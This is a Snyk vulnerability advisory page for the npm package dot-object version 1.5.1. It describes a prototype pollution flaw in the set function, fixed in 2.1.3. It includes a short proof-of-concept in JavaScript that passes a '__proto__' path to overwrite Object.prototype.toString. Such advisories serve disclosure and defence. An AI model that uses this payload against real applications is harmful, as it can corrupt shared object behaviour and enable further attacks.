dot-object@1.5.1 vulnerabilities

dot-object makes it possible to transform and read (JSON) objects using dot notation.

Direct Vulnerabilities

Known vulnerabilities in the dot-object package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

dot-object is a module that makes it possible to transform javascript objects using dot notation.

Affected versions of this package are vulnerable to Prototype Pollution. The set function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

PoC by JHU System Security Lab

var a = require("dot-object")
var path = "__proto__";
var val = {toString:"JHU"}
a.set(path,val,{},true);
console.log({}.toString);

How to fix Prototype Pollution?

Upgrade dot-object to version 2.1.3 or higher.

<2.1.3